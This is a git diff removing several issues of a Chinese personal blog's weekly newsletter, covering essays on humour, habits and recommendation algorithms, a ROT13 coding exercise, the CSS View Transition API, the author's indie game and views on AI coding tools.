-我好奇你的主屏幕是怎样设计的?以及你有没有什么因为不理智的原因,迟迟不肯删掉的 App? - -## 🤔 - -### 怎样的内容才好笑? - -《辛普森一家》里的 Homer 有一个著名的网络迷因—— [It's funny 'cause it's true.](https://www.youtube.com/watch?v=8DYje57V_BY)(好笑是因为这是真的)。我已经不记得我在哪些地方、什么时候听过这句话,我只记得我一开始并没有理解笑点在哪,以及为什么这句台词这么火。 - -YouTube 上有一条 13 年前的评论:That line has stuck with me ever since I heard it about 15 years ago :) (这句台词从我 15 年前听过之后就一直印在我脑子里了)。这句比我都还要大 9 岁的台词,竟然也在我的脑子里印了那么久。 - -现在想来,我才意识到这句台词以非常 meta 的形式揭示了一个简单的原理:**真实的就是好笑的**。这句台词之所以成为网络迷因被传播,也是因为它是真的,所以它好笑。 - -一天夜跑听博客时,也听到一位脱口秀演员分享,喜剧的原理之一是「简单真相」。过节时,小孩子在饭桌上童言无忌地说出一些真话,会让桌上的成年人觉得好笑,也是因为这个原理。 - -人成年之后,更准确地说,经过一定时间的社会规训之后,下意识地认为有的话是不能说出口的,于是当他们听到那些平常不会说的话时,就会觉得意想不到,但细细思索后,发现这句意想不到的话确实是真的,自己能感同身受,便忍不住笑出了声。 - -当然,这大概也是脱口秀演员容易惹到某些人的原因吧…… - -### 一劳永逸的方法 - -发现自己作为计算机学生,因为忙东忙西,写代码的时间居然变少了,于是开始鼓励自己每天做一两道算法题。就算是很简单的题,至少也可以练练手,找找写代码的感觉。 - -一天,做了一道非常简单的、入门级别的题目,实现偏移量为 13 的凯撒密码。这是我用 JavaScript 写的答案: - -```javascript -function rot13(message) { - let result = ''; - - for (let char of message) { - if (!char.match(/[a-z]/i)) { - result += char; - continue; - } - - let isLowerCase = char === char.toLowerCase(); - - let baseCharCode = isLowerCase ? 'a'.charCodeAt() : 'A'.charCodeAt(); - let rotatedCharCode = ((char.charCodeAt() - baseCharCode + 13) % 26) + baseCharCode; - - result += String.fromCharCode(rotatedCharCode); - } - - return result; -} -``` - -一开始,我认为这段代码的逻辑非常清晰了,甚至还用到了模运算防止越界,暗自骄傲了一下(不过实际上没什么好骄傲的哈哈哈)。 - -直到我看到了这样的答案: - -```javascript -function rot13(message) { - var a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" - var b = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM" - return message.replace(/[a-z]/gi, c => b[a.indexOf(c)]) -} -``` - -确实是自愧不如。因为 13 的偏移量是固定的,所以提前准备一段固定的对照字符串完全是可行,且效率更高的做法,完全没必要对每个字符都进行一次运算。 - -既然**每次计算的步骤是确定的,需要做的计算类型又是有限的**,那完全可以把所有类型的计算提前做好以节省资源,就像常用的公式可以提前记住,而不用每次都费时费力推导一遍一样。 - -将这个道理迁移到其他语境中,很多事情其实是一劳永逸的,只不过一开始只发现了更复杂、需要反复做的方法而已。比如,对于工作中的数据收集和处理,每周手动收集数据、做计算、整理分析和写报告,是最直观但麻烦的方法;一劳永逸的方法是,使用 Excel 函数自动计算,更好的方法是,建立自动化的数据收集系统,同时自动计算,然后再丢给 AI 或者其他专门的程序进行分析。 - -正好,《Atomic Habits》(原子习惯)里也提到了类似的“一劳永逸的方法”。我们的一整天的行为,是由数个「决定性时刻」导致的——点外卖还是自己做饭、吃炸鸡还是家常菜、出去跑步还是在沙发上看电视,这些决定都是一念间发生的——做事情不难,做决定很难。要养成好习惯,就要让这些「决定性时刻」发生时,自己更容易做出好的选择,更难做出坏的选择。 - -比如,把电视从卧室搬出去,然后在床头放一本书,睡觉的时候就更难爬起来看电视,你也更容易在睡前读一读书——你当然知道看书比看电视好,但现在,你不需要耗费资源思考(计算)你应该怎么做,好的选择已经摆在你面前了。 - -### 人类喜欢故事 - -从进化心理学的角度解释,人类喜欢故事或许实际上是喜欢对自己有用的信息。对于石器时代的人类来说,了解更多的信息(比如哪片森林里有熊、哪里能找到更多的食物、哪个异性还没有伴侣等等)是有利于自己生存和繁衍的。对信息敏感的人类生存几率更高,所以他们的基因留存了下来。 - -我发现《Atomic Habits》的作者在每一小节的开头都会写一个小故事,有的是科学研究,有的是名人的轶闻,也有的只是发生在作者自己身边的小故事。很多时候,这些故事和章节内容的关联并没有很大,甚至有一两个故事像是在强行和自己的理论扯上关联。 - -我的第一反应是有些讨厌:如果想不出故事就不要写吧,为什么要用不相干的充数呢?然后又觉得佩服,作者居然能给每个小节都写一个小故事,他的积累一定是很多的。 - -最后,我想,这本书能成为畅销书,或许原因之一就是这些故事。 - -1. 无论是什么故事,都让人感到新奇有趣,想要读下去。 -2. 之后进一步解释自己的理论时,可以用故事作为例子,读者把故事与较为枯燥的理论内容联系起来时,就更容易理解了。 - -所以,写文章时不妨也尝试这种开头,一个小故事、新奇的理论,应该要比直接就事论事的开头要有意思一些。 - -### 论「掌控感」 - -心理学上的老虎机效应,在揭示赌博为何令人上瘾的同时,还阐述了「随机性」对人类行为的影响——比起会导致确定结果的行为,人更偏好能产生更多随机结果的行为。 - -但我认为,如果人一开始不主动拉下拉杆,老虎机效应就不会成立。也就是说,随机性影响人类行为的前提是「掌控感」,没有主体的参与,人就只是在观察一些随机发生的事件而已,似乎就没那么有吸引力了。 - -我的第一个游戏原型有非常强的随机性,我和朋友玩起来的时候都还挺过瘾的。关键在于,游戏提供了选择,你可以选择掷骰子,也可以选择抽牌,然后还可以选择是否出牌——尽管在这个游戏里,策略并没有起到很大的作用,但「选择 + 随机」的机制让人玩起来很爽。 - -除了带有随机性的老虎机,人还会做很多事情来获取「掌控感」。 - -我有段时间非常焦虑,在那个时候,我渐渐发现自己经常改变书桌上物品的布局。在现在,当然忙完所有的事情,有时间休息时,我也喜欢一边播放自己熟悉的电视剧《老友记》,一边收拾自己的东西,把东西摆好放好,时不时把某件物品放在「更合适的位置」。 - -把收拾当作缓解焦虑和休息的手段,或许就是一种对「掌控感」的追求。 - -这种掌控感除了对周边的环境,还可以作用于人身上。性欲旺盛的人可能不注重整洁和个人卫生,可能是因为他/她在别处满足了对掌控感的需求;有的全职母亲习惯对家人指指点点,可能是因为生活中其他的事情不如意…… - -总之,人大概是需要找到一个合适的「掌控感」来源的。 - -### 无穷尽的人类俯视之塔 - -几日前在路上无意间听到两个男生的对话,其中一个男生提到有人跟自己说”背单词没用,你要学地道的英语”。他表示不屑,不过并没有给出合乎逻辑的质疑,只是用“我要是能说地道的英语,那我还…… 我还……”这样不仅没有道理,甚至还只有半句的话来表达自己的态度。 - -然后就是三十秒钟尴尬的沉默——另一个男生显然也对于这突如其来的评论感到不知所措。为了缓解因为自己不会说话而导致的尴尬,一开始讲话的这个男生又补上了一句让我现在写出来都还觉得好笑的话:“那…… 那种人就是蠢猪。” - -顺带一提,他们都是大学生,至少也是大一了。 - -我作为旁观者,听完是觉得又好气又好笑。我气他的粗鲁,笑他的愚蠢而不自知(还笑他骂人的方式竟然这么像小孩子)。我不清楚那个男生提到的那个向他讲解外语学习方法的人,英语究竟如何,但我敢说,他的语言能力一定不如那个人。 - -我不禁感叹,有的人能愚蠢到这种程度,以至于他们会反过来认为那些比他拥有更高智识的人是愚蠢的。 - -有趣的是,在这件事情发生不久之后,我经历了一次情绪崩溃,被各种事务缠身的我终于顶不住压力了。我当时尝试应用「认知解离法」,把让自己焦虑的事情写下来,以便从第三者的角度观察,然而并没有什么用处。于是我把这些东西发在了朋友圈(大概算是在求助吧)。 - -有一位年龄比我大很多的朋友看到了我的朋友圈内容,竟然留言说“我读完居然觉得有些好笑”。 - -虽然当时的我觉得有些被冒犯到,但是事后我又回看了那条朋友圈,以及那些当时让我焦虑的大大小小的事情,其实都没那么重要,只是自己陷入到情绪里,又缺少应对的经验,所以各种鸡毛蒜皮的事情都能让我感到压力。 - -**我想,她在看我的文字时,大概也有些许的,和我听那两个男生的对话时感受到的,不完全相同但又极其相似的感受**。 - -换句话说,在某个层面上,她在俯视我,我在俯视那个男生,那个男生自以为在俯视那个说教的人…… - -最近读的《How to Deal With Idiots》里提到,每个人都是蠢货,任何时候都可能存在这样一个人,在他眼里,你认为合理的行为和思想看起来是那样的愚蠢,让人觉得好笑。 - -这样一条「俯视」的链路并不是客观的,它也不是实际上的一个「塔」的结构。在不同的人眼里,他是不一样的——说不定在另一个人眼里,追求所谓「地道」的语言学习才是吃力不讨好,唯有「背单词」才是正道,因此这个人正和那个男生一起站在天上指着我的鼻子哈哈大笑。 - -(顺便,请允许我稍微显摆一下,我从初中开始学英语起就没刻意背过单词,到了大学之后,我在大一就通过了四级和六级考试,两次都是裸考,四级 615,六级 590) - -## 📒 - -[如何利用 AI 更好地学外语 - 少数派](https://sspai.com/post/92623) - -> 多邻国,一言难尽啊……朋友用多邻国学日语,每天打卡,都一年多了,去日本还是啥也看不明白,片假名几乎都认不得。感觉多邻国偏重游戏化,扎实的复习、练习做得并不好。 -> -> 有一次我看他手速如飞地在回答一道连线题,惊叹不已。他说:我根本不知道日语说的是啥,我只是字形看得太熟了,闭着眼连线而已。 - -*你可以阅读《[别再烦我了,绿色猫头鹰](https://www.geedea.pro/posts/%E5%88%AB%E5%86%8D%E7%83%A6%E6%88%91%E4%BA%86%E7%BB%BF%E8%89%B2%E7%8C%AB%E5%A4%B4%E9%B9%B0/)》,看看我对多邻国的看法*。 - -[不严谨讨论:拿到多少钱,学历才算没贬值 - 少数派](https://sspai.com/post/93573) - -> 我不认同我爹的很多看法,觉得他就是短视频刷多了。我阴暗得以为,喜欢刷短视频的人非常容易极端化自己的观点,要么觉得情况非常好,喊出比如“遥遥领先”的口号,要么就觉得情况非常差,可能明天战争就开始了,该去超市抢购盐和厕纸了。 - - [当裁决的科学依据被认为是错误的](https://www.solidot.org/story?sid=79687) - -> 法律对一锤定音的需求与科学不断发展的本质之间的冲突正在制造严重的司法问题。 - - [生还是不生?新时代下的女性生育选择 | 谷雨](https://mp.weixin.qq.com/s/Y_kjb8sXLNBQeCmbIQl7dg) - -> 生下孩子,很大程度上是为了照顾丈夫的感受。如果不生,可能对两人关系造成重大打击。 -> -> 蒋莱分娩那天,因为顺产造成了阴道撕裂,需要缝针。那时,她痛得整个人都麻木了。医生安慰她:“我给你缝得好看一点。”这让蒋莱感到荒谬:给谁看?我自己也看不到。产妇还在痛苦当中,而丈夫的需求已经被提早考虑到。刚出生的儿子此时也穿上了新衣服,干干净净,格外好看。蒋莱有些失落,觉得没有人真正关心产妇的感受。 -> -> 职场妈妈的辛苦,都被视为“娇气,叫苦叫累”。她经常被单位里的前辈敲打,也没有获得该有的提拔。后来,蒋莱离职,接替上来的是一位男性,可能领导觉得“还是男人好用”。 -> -> “婚姻犹如黑社会。”作家亦舒的这个比喻,常常被蒋莱用来描述生育后的感受:“没有加入的人总不知其可怕,一旦加入又不敢道出它可怕之处,故此内幕永不为外人所知。” -> -> 2019 年,一位女性在社交网络上发帖,说自己怀孕时得了荨麻疹。她建议应该在女性怀孕前把所有可能面对的问题都告诉育龄女性。并且怀疑,老一辈的女性为了获得后代,刻意隐瞒了生育的真相,“骗”下一代女性生育。 - -[自行车棚效应:我们为什么在小事上纠结,却对大事视而不见?](https://limboy.me/posts/bike-shedding) - -> ……「帕金森琐事定律」或「自行车棚效应」。其要点是:话题越简单,发表意见的人越多,讨论也越深入。而对超出我们能力范围的事,例如核电站,甚至不会尝试表达意见。总结一句:人们更愿花时间在简单的小事上,而在重大复杂的问题前草草了事。 diff --git a/content/posts/weekly/20.md b/content/posts/weekly/20.md deleted file mode 100644 index 2ea39d70..00000000 --- a/content/posts/weekly/20.md +++ /dev/null @@ -1,161 +0,0 @@ -+++ -title = "稻草人周刊 Vol.20" -subtitle = "Heart Hunter 发布" -description = "Heart Hunter、假装看手机指南、收藏知识与否、逃离推荐算法、骗人的进度条、简单不易过时的技术、缪斯的死亡、View Transition" -tags = [ - "Web", - "游戏", - "互联网文化", -] -date = 2025-03-17 15:50:09 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-20/", - "/posts/稻草人周刊-vol-20/", - "/posts/weekly/20", -] -+++ -> [!note] 🔖 -> 你正在阅读 稻草人周刊,一个读者的自述,每周一更新。 - -## 🎧 这周在听什么? - -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/pure-heroine/1440818584"></iframe> - -听了听 Lorde 的老专辑(因为《Melodrama》快听包浆了)。 - -## 🧑💻 这周做了什么? - -我的游戏《Heart Hunter》已经在 itch.io 上发布了! - -<iframe frameborder="0" src="https://itch.io/embed/3402746" width="552" height="167"><a href="https://eltrac.itch.io/heart-hunter">Heart Hunter by Eltrac</a></iframe> - -这周重构了代码,用上了 Box2D 物理引擎,让移动和碰撞更丝滑了;还添加了新的生物,调整了关卡设计和生物数据,增加了近战攻击,增加了小地图等等。最后因为碰上水逆怎么也修不好地图生成的问题,第一次下载 Cursor 让 AI 把 Bug 给我修好了(AI 可不会水逆!)。 - -我这周真的投入了好多时间做游戏,虽然结果还是很稚嫩,画面也十分简陋,但我自己玩得很开心!这周我打算休整一下,思考下一个游戏做什么,同时也关注一下 itch.io 上玩家的反馈。 - -过段时间我应该会写一篇开发日志进行总结。 - -## 🧠 这周思考了什么? - -### 你好像在看手机 - -Pippin Barr 做了一个叫做「[It is as if you were on your phone](https://pippinbarr.com/it-is-as-if-you-were-on-your-phone/info/)」的网页游戏,仅限手机游玩。作者说:「假装你在看手机从来没有像现在这样重要过!」或许是因为不想说法,又或者是为了融入人类,你可能需要假装你在看手机,但又不想让任何信息占据你的大脑,那就试试这款游戏吧! - -游戏的 UI 分为两个部分,上半部分是动作提示词,会随机出现一些句子提示你现在应该做什么动作,比如: - -1. 盯着屏幕看 -2. 皱眉 -3. 摇摇头 -4. 把两根手指放在嘴唇上 -5. 呼气 -6. 抬高眉头然后身体前倾 - -下半部分是操作屏幕,上面会随机出现一些你能够点击或者双击的元素,有的时候你需要拖动小球,有的时候你只需要盯着一个旋转的线条看。 - -虽然最好的方法其实是避免无意义社交,积极参与有意义的社交,但人也有身不由己的时候,如果不想被打扰又不想刷其他无意义的信息,这款游戏说不定能让你在什么都不做的情况下逃避社交。 - -### 收藏知识的后续动作? - -Xiaoxiao 写了一篇《[关于收藏知识的后续动作](https://liuyuntian.com/2025/03/13/subsequent-actions-regarding-collecting-knowledge.html)》,他发现自己过去十几年收集的好文章,如今看来大部分都过时了,一方面是因为技术和趋势变化太快,另一方面是因为这些知识一直没有被转化为自己的东西。 - -作者指出,对于收藏的知识,应该定期回顾,删除没有用的内容,及时总结输出,才能内化,让有用的知识变成自己的。 - -而我在想,能不能完全移除「收藏知识」这一步?因为收藏就意味着告诉自己「我可以一会再看」,到最后回顾这些收藏项目就会变得非常痛苦。如果能在当下就稍微多花几分钟,将读到的、听见到的、看到的,及时地用自己的话写成笔记,而不是「收藏」,兴许会好很多。 - -### 别让算法继续操纵你的思维 - -《[Kill your Feeds](https://usher.dev/posts/2025-03-08-kill-your-feeds/)》这篇文章中,作者指出各种软件和网站的推荐算法造成了一个**反馈循环**,这种循环会孤立用户(让有相同想法和好恶的用户聚在一起),加强信念,让相反的观点变得没那么重要。这其实就是中文互联网上被说烂了的信息茧房。作者认为这样的反馈循环会造成观点的极端化。 - -作者给出的建议是,不要使用平台的推荐算法,而是直接去找信息的源头。比如,你可以继续在 YouTube 上看视频,但比起没完没了地刷新首页,你可以将你喜欢的 YouTube 频道页面添加到书签,直接去他们的主页找内容看。 - -对我来说,RSS 阅读器所能提供的功能就是如此,通过直接订阅信息源,可以避开各种软件平台的算法推荐。最近,像 Follow 这样「集中化管理你订阅的内容」的应用已经不少,前几日也在英文互联网上发现过类似的产品(因为我不需要所以没有收藏,现在已经忘记了),兴许人们已经在有意识地夺回自己的注意力,只不过这样的人仍然占少数。 - -### 真相、谎言与进度条 - -一位设计师在他的[博客](https://cloudfour.com/thinks/truth-lies-and-progress-bars/)中讲到,在他事业初期的时候,他和工程师团队就「进度条」的问题进行过交流。工程师笑着告诉他,用户界面里的进度条是假的,进度条只是一开始移动一段固定的大小,之后的增量会逐次乘以一个小于 1 的值,这样进度条看起来在移动,但实际上永远也不会到达 100%(很多进度条会卡在 99% 不动,大概也是这个原因)。 - -设计师得知「计算某个操作的进度」是一件非常复杂且困难的事情,如果要动态地估计进度,还会消耗很多不必要的资源,但如果没有进度条,只是用转圈或者像理发店的三色灯一样呈现一种动态,用户可能会怀疑程序卡住了,然后不必要地取消操作。 - -这位设计师提出了很多解决方法,比如「计算操作步骤的数量」或者「标识当前正在进行的步骤」,这样不需要精细化的计算,也可以让用户更清晰地知道程序运行到哪一步了。 - - - - - -还有在进度条下面增加一个小游戏的设计,这个我就不太看好了。要是操作比较快的话,用户可能玩游戏玩到一半就被打断了;如果操作本身比较长,简单的小游戏可能也不太容易消磨时间;要是觉得游戏不好玩,放在那里就和没有进度条没差别,而且还觉得碍眼。而且,难道用户就没有别的事情可以做了吗? - -### 使用简单、不易过时的技术 - -Andre Garzia [用 Lua 语言重写了他的博客](https://andregarzia.com/2025/03/why-i-choose-lua-for-this-blog.html),因为他发现 JavaScript 更新迭代的速度太快了,新框架层出不穷,旧框架的更新也非常频繁。他听说不少人需要花费很多精力才能让他们的博客系统保持最新,如果不这么做的话就会发生很多问题,这不是什么愉快的体验。 - -> JavaScript can be a light-speed moving mess. - -作者指出,Lua 语言更新得非常慢,从 2006 年到 2020 年,只经历了 5.1 到 5.4 的版本更新,而且就算是这样,这两个版本的变化也非常少。要运行 Lua,只需要一个 C89 编译器,这比 JavaScript 简单太多了。 - -不过,Lua 也有一些缺点,他不是一个自带电池(batteries-inclueded)的编程语言。自带电池的意思是,提供了各种软件库,不需要太多的配置,就能直接拿来写程序,很方便。要实现一些 JavaScript 中很容易实现的功能,Lua 可能需要引入额外的第三方库(虽然写 JavaScript 程序要用到的第三方库也不少),而且还可能需要自己实现一些基础功能。 - -不过作者认为,选择 Lua 这种「简单无聊」的技术可以大大减少后期维护所需要经历。他也提醒读者,如果需要构建自己的博客系统,可以思考自己愿意维护这个程序多久,然后谨慎选择自己用到的技术。 - -### 接受缪斯的死亡 - -缪斯(muse)是智慧女神,往往被人们用来比喻作家、画家等创作者的「灵感来源」。[John P. Weiss](https://johnpweiss.com/) 说[他的缪斯死去了](https://johnpweiss.com/blog/199949/the-day-the-muse-died),在搬家之后,他对家周围的风景提不起兴趣,于是丧失了作画的灵感。 - -不过,他发现自己逐渐对阅读和写作提起了兴趣。他想要提醒读者,如果往日的热情不再,不必担心,因为自己总会找到出路的。 - -> We must be willing to let go of the life we planned so as to have the life that is waiting for us. -> 我们必须愿意放弃已经计划好的生活,才能得到正在等待我们到来的生活。 -> -> {{< right "——Joseph Campbell" >}} - -此外,我注意到作者在字里行间中透露出来的某些细节。 - -> Iearned that online readers are impatient and tend to scan. Thus, it's important to hook online readers with tantalizing headlines, subheadings, and short paragraphs. - -作者开始在互联网上写作时,发现网上的读者往往没什么耐心,更喜欢略读,所以他学着去写那些更有吸引力的标题、副标题,把段落写得更短,以此来吸引读者的注意力。 - -他的心态引发了我的一些思考,因为我一直觉得,要是有人没耐心读我的文章,那是他的损失,而他也不是我想要的读者。可这位作者的心态完全不同,他选择接受事实并寻求解决方案。 - -## 💡 这周学到了什么? - -### View Transition - -CSS 的 View Transition API 其实在 2023 年上半年就已经开始测试了,如今已经被大多数现代浏览器支持(除了火狐)。 - - - -你只需要在网站的 CSS 文件中加上: - -```css -@view-transition { - navigation: auto; -} -``` - -浏览器就能自动帮你实现简单的渐变切页效果,而且非常丝滑,已经足够应付大部分场景了。如果你想要更细致的切页动画,比如现在从本站首页点击文章链接,就能看到链接丝滑地过渡为页面文章标题的动效,你只需要额外为这些元素添加 `view-transition-name` 属性就可以了。 - -```html -<!-- 在文章列表中 --> -<a - href="/post/xxx" - style="view-transition-name: post-xxx" ->文章标题</a> - -<!-- 在文章页面中 --> -<header style="view-transition-name: post-xxx"> - <h1>文章标题</h1> -</header> -``` - -关于 View Transition,如果想要了解更多,可以阅读 [Dave 的博客](https://daverupert.com/2023/05/getting-started-view-transitions/),他也用这个 API 在博客上实现了许多酷炫的切换效果。 - -Jim Nielsen 也在他的博客提出了用很多小 HTML 页面作为组件,利用 View Transition 实现很多原本要用到 JavaScript 才能实现的效果,比如下拉菜单。如果你感兴趣,可以阅读[他的博客文章](https://blog.jim-nielsen.com/2025/lots-of-little-html-pages/),我觉得非常有意思。前端在减少 JavsScript 代码数量上又前进了一大步。 - ---- - -## 🗣️ 碎碎念 - -- 同样上厕所看手机,为什么我一个 5 分钟的视频看不完就把屎拉干净走人了,三个室友个个都能蹲 20 分钟的样子,而且好几次卡在我「把这个做完我就去厕所」或者即将要出门的时间点,让我在被憋死和要急死的边缘气得直跺脚。*我真的非常担心我的膀胱健康*。 -- 因为每天都在电脑面前过于投入地敲代码,连上课都恋恋不舍,所以好像没什么时间碎碎念? diff --git a/content/posts/weekly/21.md b/content/posts/weekly/21.md deleted file mode 100644 index 0e3249ac..00000000 --- a/content/posts/weekly/21.md +++ /dev/null @@ -1,110 +0,0 @@ -+++ -title = "稻草人周刊 Vol.21" -subtitle = "From sprinkler splashes" -description = "平庸的设计、别指望 AI 帮你少动脑筋、允许自己间歇性停摆、少了几次点击的差别和 Anthropomorphic" -tags = [ - "AI", - "编程", - "设计", - "生物学", - "效率", -] -date = 2025-03-24 13:23:21 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/2025/03/blurry-flower-field.jpeg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-21/", - "/posts/稻草人周刊-vol-21/", - "/posts/weekly/21", -] -+++ -你正在阅读[稻草人周刊](/categories/稻草人周刊),我们是不是很久没有过这样朴素的开头了? - -## 平庸的设计 - -[#设计](/tags/设计) - -最近把 RSS 阅读器从 [Unread](https://apps.apple.com/us/app/unread-an-rss-reader/id1363637349) 换到了 [NetNewsWire](https://netnewswire.com),两者在功能上并没有什么区别,只不过 Unread 是一个在设计上有着更多独特想法的产品。在 Mac 端可能没有什么区别,但 iOS 和 iPadOS 上,Unread 的 UI 设计和手势操作特色非常鲜明。 - -比如,在 iOS 上,双击时间线里的某条文章,可以在「已读」和「未读」状态中切换;和其他 App 一样,Unread 支持上拉刷新,而下拉则可以标记所有文章为已读;长按某个项目可以呼出右侧的菜单,在文章页面左滑也可以呼出这个菜单;在任何页面左滑或右滑,都可以呼出菜单或者返回上一层。 - -至于 NetNewsWire,作为一款开源 App,又大量使用了苹果原生的组件,看起来毫无特色,但也因如此,它十分耐看。至于 Unread,我其实很长一段时间都看不习惯分割线、菜单等组件的样式,以至于需要经常切换主题来保持新鲜感。 - -像 RSS 阅读器这样并非主要工具的应用,平庸的设计兴许才是最好的,**它可以让你关注最重要的事情,而不是在体会新奇的想法和与工具磨合上花费太多时间**。 - -## 人工智能取代程序员为时尚早 - -[#AI](/tags/ai/) [#编程](/tags/编程/) - -我其实不太喜欢在博客谈论 AI,大概因为它是一个正在流行的「风口」吧。之前一直在别人的文章里读到 AI 编程如何如何,最近自己倒是下载 Cursor 和 Trae 试了试。契机是遇上了自己修不好的 Bug,涉及多个模块,最近水逆,脑子不够用,于是让不会水逆的 AI 帮忙找问题,结果五分钟就搞定了,而且**描述清楚需求**之后,他还能帮我快速地实现**需求明确**、**体量不大**的功能。 - -不过,当我重新开始一个新的项目,创建了全新的 codebase 时,AI 生成的代码似乎就有些不尽人意了。就算像写文档一样编写提示词,以聊天对话为形式的 AI 也常常遗漏一些需求。在之前的周刊里,也提到 [AI 聊天界面不是好的编程工具](/posts/稻草人周刊-vol-15/#ai-聊天界面不是好的编程工具),而目前似乎还没有出现能真正将人类语言作为编程语言的 AI 产品。 - -此外,如果一个问题 AI 在第一次没有修好,请求 AI「分析原因并重试」没有任何用处,就算指出了问题可能的原因、出现的问题的位置,AI 也只会做一些无关紧要的修改(甚至只是增减注释)。 - -**AI 只能当做一个干杂活的实习生**,对于那些有着最佳实践、已经被重复很多次的需求,AI 能够快速且漂亮地完成,但别指望他能让你少动脑筋。 - -## 允许自己间歇性停摆 - -[#效率](/tags/效率) [#生物学](/tags/生物学) - -无论你是否相信星盘上某颗星星周期性改变运行方向时,地面上(兴许)拥有自由意志的人类会受到影响,我想你都能够理解,从生物学上讲,人体受到周期性的节律影响。尽管大部分的研究只证明了昼夜节律的存在,但以年(四季变化)或月等其他时间周期为单位的节律,也还没被否定。 - -谈到昼夜节律之外的生物周期,女性的经期是一个常见的例子,在此期间女性也会经历体内激素的变化。之前听过不少「男性也有生理期」的说法,有人认为男性的睾酮等雄性激素会发生波动,睾酮水平较低时就会更情绪化、更易怒(Irritable Male Syndrome),不过我似乎没有找到可靠的相关资料。 - -就算连生物学也不谈,只谈个人经验,我也观察到包括我在内的不少人,都有间歇性停摆的状况。我的一位学生和我聊天时告诉我,他希望变得更勤奋一些,因为他有时候会变得很懒,但其他时候,他其实一直有做计划并执行,已经比很多人更自律了。 - -这种间歇性停摆的现象不少见,原因很多,解释的方式也很多。有人停摆可能是因为一开始的热情消散了,没有动力推动自己;有人停摆的原因可能是工作强度太大,没有休息好,身体出现了负面反应;也有原因可能是前文提到的生物周期,或者是星盘上天象的周期。不管怎么解释,这种精力起伏、波动的情况是的确存在的。**如果对抗不了,那就接受吧,只要自己很清楚这段时间过去之后,自己一定会重振旗鼓的**。 - -## 少了几次点击的差别 - -[#设计](/tags/设计) - -《Heart Hunter》发布之后,我把游戏链接发给了不少朋友,但其实真正愿意下载来玩的很少(截至目前,游戏的下载量仅为 5 次)。我当然理解,毕竟这个游戏只是第一次尝试,我也没有把它做得很吸引人。这么早发出来,也只是为了让自己更有动力继续做下去。 - -虽然 LÖVE 引擎没有原生的 Web 版本,但我发现了 [love.js](https://github.com/Davidobot/love.js) 这个项目,可以将 LÖVE 游戏编译成 WebAssembly,通过 Emscripten 在浏览器上直接运行。 - -简单折腾过后,《Heart Hunter》的 Web 版就发布了。仅仅是免去了下载这个步骤,我的玩家就多了不少,毕竟点开用不了多久就加载完了,即使是一个很一般的游戏,稍微有一点兴趣的人也愿意点开来玩玩。 - -我联想到那些让我感到舒适的产品,基本都有「简化操作步骤」的设计。我曾在[第 15 期周刊](/posts/稻草人周刊-vol-15/#-这周做了什么)提到过自己给博客添加了 Pagefind 搜索,我当时真的对 Pagefind 的设计赞不绝口,可以让用户完全不用配置,只需要做出非常微小的修改,就能一劳永逸地为静态网站添加搜索功能。 - -反观那些让我抓狂的产品,有不少都是因为操作繁琐,或者是等待时间太长。比如 Notion 的页面引用,找到菜单里对应的项目之后,还要等待页面加载(Notion 的加载时间实在是太长了!)。我在输入 Emoji 表情字符的时候,也更喜欢用原生输入法的联想输入,而不是用 Raycast 的「Search Emojis & Symbols」功能,尽管后者也很方便,但我需要打开另一个弹窗,然后再输入关键词检索,然后再选中我想要的表情字符,然后回车或是双击来输入。 - -将任何操作都尽可能精简到**一步到位**,能极大地影响用户的选择。 - -## 新词与新概念 - -> ### Anthropomorphic -> -> 意为「拟人的」,可以表示一种手法,也可以表示一种**设计风格**。在这种设计风格当中,你常常能见到穿着人类服装且拥有类人形体的动物。和 Furry 不同的是,Anthropomorphic 是一种**美学**,而且往往带有复古元素。 -> ->  -> -> 词源学上,anthropomorphic 还有几个构词略有差异,但意思相似的兄弟,即 anthropomorphism(名词)和 anthropomorphist(表示人的名词),他们都是 anthropomorphous 的变体。*anthropo-* 表示「人」,同源的词还有 anthropology(人类学)和 anthropophobia(恐人症);*morphē* 的词源未知,意思是「形式」。 -> -> anthropomorphous 表示在**形态**上与人相似的,而衍生而来的 anthropomorphic 表示具有人**行为、情感和语言能力**等。我还想到了 humanoid(类人的)这个词,写怪谈小说时经常用,这个词与 anthropomorphous 很相似,不过 humanoid 常用来指代机器人、外星生物和鬼怪,而 anthropomorphous 其实不常用,因为它有点文绉绉的。 -> -> <span style="font-size: 80%">Source: [Etymology of "anthropomorphous" by etymonline](https://www.etymonline.com/word/anthropomorphous)</span> - -## 碎碎念 - -- 很难想象教 Web 前端的老师不会用浏览器检查元素,只会查看源代码;也很难想象他居然连 IDE 自动加在页面最后的 Live reload 脚本是什么都看不懂;还把我很基本的一个网页作业说成是 AI 写的,就因为我用了他没教的 `box-shadow` 和 Flex 布局。 -- 买耳塞都是一罐一罐地买,某个室友呼吸声很大,晚上打鼾更是让人觉得整个房间都在震…… 戴耳塞的坏处是每天早上起来耳朵痛,而且容易因为听不到闹钟而起晚(我不知道为什么 Apple Watch 的震动也因为戴了耳塞而不易被察觉了,真挺奇怪的……) -- **给博客添加了「卡片」一栏**,你可以在导航栏里看到。卡片是更精炼的知识类文本,也有一些我自己定义的词汇;你也可以把它当作我的个人词典。因为每个人的用语习惯不同,常常写作和表达的人也多半会有一套自己的常用词。卡片可以通过 Hugo Shortcode 轻易地嵌入在文章内,之后的周刊也会用卡片代替原先的「💡新知复盘」。由于比起写笔记我更习惯在公开平台上写作,**我也打算用博客的「卡片」代替我的笔记软件**。 -- 两周半的时间,还没把那本厚厚的《红与黑》读完,这也是这几期周刊都没有读书分享的原因。 - ---- - -## One More Thing - -这是我第几次修改周刊的格式了?我不记得了,我也不能保证这会是最后一次。 - -每次水星逆行,我都会因为各种原因推翻自己原先建立起来的体系。最近的月相周期也正好处于满月到新月的过程中,这么看来,**最近其实是一个很适合总结复盘并做出改变的时期**。 - -如果你对周刊有任何想法,欢迎指出;新加入的「卡片」分区也还在测试当中,非常需要读者的建议。最后,祝生活愉快。 - ---- - -封面图来自 [Leila de Haan @ 